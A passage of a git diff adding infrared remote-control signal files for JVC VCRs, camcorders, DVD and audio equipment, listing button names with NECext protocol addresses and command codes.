KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 96 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir new file mode 100644 index 000000000..4f2a939b2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 03 00 00 00 +# +name: slow_backward +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 05 00 00 00 +# +name: forwartd +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 06 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 07 00 00 00 +# +name: slow_forward +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 08 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 0C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 0D 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 17 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 2F 00 00 00 +# +name: zoom_W +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 51 00 00 00 +# +name: zoom_T +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 52 00 00 00 +# +name: start/stop +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 59 00 00 00 +# +name: snapshot +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 5D 00 00 00 +# +name: shift_up +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 97 00 00 00 +# +name: shift_down +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 98 00 00 00 +# +name: shift_right +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 99 00 00 00 +# +name: shift_left +type: parsed +protocol: NECext +address: D3 00 00 00 +command: 9A 00 00 00 +# +name: effect_on/off +type: parsed +protocol: NECext +address: D3 00 00 00 +command: B8 00 00 00 +# +name: effect +type: parsed +protocol: NECext +address: D3 00 00 00 +command: B9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir new file mode 100644 index 000000000..8303cdcdc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_T +type: parsed +protocol: NECext +address: DF 00 00 00 +command: A0 00 00 00 +# +name: KEY_W +type: parsed +protocol: NECext +address: DF 00 00 00 +command: A1 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: DF 00 00 00 +command: A2 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: DF 00 00 00 +command: A3 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: DF 00 00 00 +command: A4 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: DF 00 00 00 +command: A5 00 00 00 +# +name: FFWBack +type: parsed +protocol: NECext +address: DF 00 00 00 +command: A5 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: DF 00 00 00 +command: A6 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: DF 00 00 00 +command: A7 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: DF 00 00 00 +command: A8 00 00 00 +# +name: Start/Stop +type: parsed +protocol: NECext +address: DF 00 00 00 +command: A9 00 00 00 +# +name: FFWFront +type: parsed +protocol: NECext +address: DF 00 00 00 +command: AA 00 00 00 +# +name: Set +type: parsed +protocol: NECext +address: DF 00 00 00 +command: AC 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: DF 00 00 00 +command: AD 00 00 00 +# +name: Date +type: parsed +protocol: NECext +address: DF 00 00 00 +command: AE 00 00 00 +# +name: Index +type: parsed +protocol: NECext +address: DF 00 00 00 +command: AF 00 00 00 +# +name: Snapshot +type: parsed +protocol: NECext +address: DF 00 00 00 +command: B9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir new file mode 100644 index 000000000..e72b768fe --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 43 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 44 00 00 00 +# +name: SWOOP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 49 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 4C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 4D 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 51 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 54 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 5B 00 00 00 +# +name: K0 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 60 00 00 00 +# +name: K1 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 61 00 00 00 +# +name: K2 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 62 00 00 00 +# +name: K3 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 63 00 00 00 +# +name: K4 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 64 00 00 00 +# +name: K5 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 65 00 00 00 +# +name: K6 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 66 00 00 00 +# +name: K7 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 67 00 00 00 +# +name: K8 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 68 00 00 00 +# +name: K9 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 69 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 6D 00 00 00 +# +name: KMINUS10 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 6E 00 00 00 +# +name: KPLUS10 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 6F 00 00 00 +# +name: SLOW_MINUS +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 70 00 00 00 +# +name: SLOW_PLUS +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 76 00 00 00 +# +name: CHOICE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 7F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B0 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B1 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BC 00 00 00 +# +name: X_KEY_3D_PHONIC +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BD 00 00 00 +# +name: VFP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BE 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C0 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C1 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C2 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C8 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: CB 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: CD 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D0 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D1 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D2 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D3 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D4 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D5 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: EE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir new file mode 100644 index 000000000..6f6a5d3c2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0B 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: || +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: KEY_V +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 35 00 00 00 +# +name: KEY_X +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: --:-- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 38 00 00 00 +# +name: OK/START +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: Timer? +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3D 00 00 00 +# +name: VHS +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 43 00 00 00 +# +name: DV +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 44 00 00 00 +# +name: jog_cc +type: parsed +protocol: NECext +address: 43 00 00 00 +command: AF 00 00 00 +# +name: l_shuttle +type: parsed +protocol: NECext +address: 43 00 00 00 +command: B7 00 00 00 +# +name: r_shuttle +type: parsed +protocol: NECext +address: 43 00 00 00 +command: B8 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C1 00 00 00 +# +name: Date+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C6 00 00 00 +# +name: Date- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C7 00 00 00 +# +name: Start+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C8 00 00 00 +# +name: Start- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C9 00 00 00 +# +name: Stop+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CA 00 00 00 +# +name: Stop- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CB 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: R.A.EDIT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: DD 00 00 00 +# +name: IN/OUT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: DE 00 00 00 +# +name: jog_cw +type: parsed +protocol: NECext +address: 43 00 00 00 +command: ED 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir new file mode 100644 index 000000000..c361ec198 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 02 00 00 00 +# +name: activebass +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 04 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 0B 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 0D 00 00 00 +# +name: fmstereo +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 1F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 29 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2A 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2E 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3E 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 42 00 00 00 +# +name: counterreset +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 57 00 00 00 +# +name: deckab +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 58 00 00 00 +# +name: revmode +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 5F 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 70 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 71 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 74 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 77 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 78 00 00 00 +# +name: allcdeject +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 7B 00 00 00 +# +name: continue +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 7D 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 8F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: F1 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: F2 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: F3 00 00 00 +# +name: ejectcd1 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: F4 00 00 00 +# +name: ejectcd2 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: F5 00 00 00 +# +name: ejectcd3 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: F6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir new file mode 100644 index 000000000..799a141bc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: sleeptimer +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: return+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: tv/video +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: muting +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 77 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7A 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: E6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir new file mode 100644 index 000000000..8e0bacb07 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: vmute +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 86 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 90 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 97 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A1 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A2 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A3 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A4 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A5 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A6 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A7 00 00 00 +# +name: loop +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A8 00 00 00 +# +name: dual +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AA 00 00 00 +# +name: lock +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AB 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AC 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AD 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/0,14.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/0,14.ir new file mode 100644 index 000000000..1444b99fe --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/0,14.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 04 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 0E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 16 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 17 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 1A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 1E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 0E 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/1,-1.ir new file mode 100644 index 000000000..837f266e2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/1,-1.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: FFWD/SHUT.SRCH_>> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: FF/SHUT.SRCH_>> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: FF_>>/SHUTTLE_>> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: FFWD_>> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: REW/SHUT.SRCH_<< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: REW_< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: PAUSE/STILL_ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: TV_CH/SET_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: TV_CH/SET_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: VIDEO/TV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: SEARCH_FWD_>> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: TV_MENU_(RA_EDIT) +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: TV_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: SEARCH_REV_<< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: FR_ADV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: TV_TV/VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: AUDIO_DUB/PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2C 00 00 00 +# +name: SP/EP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: AM/PM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 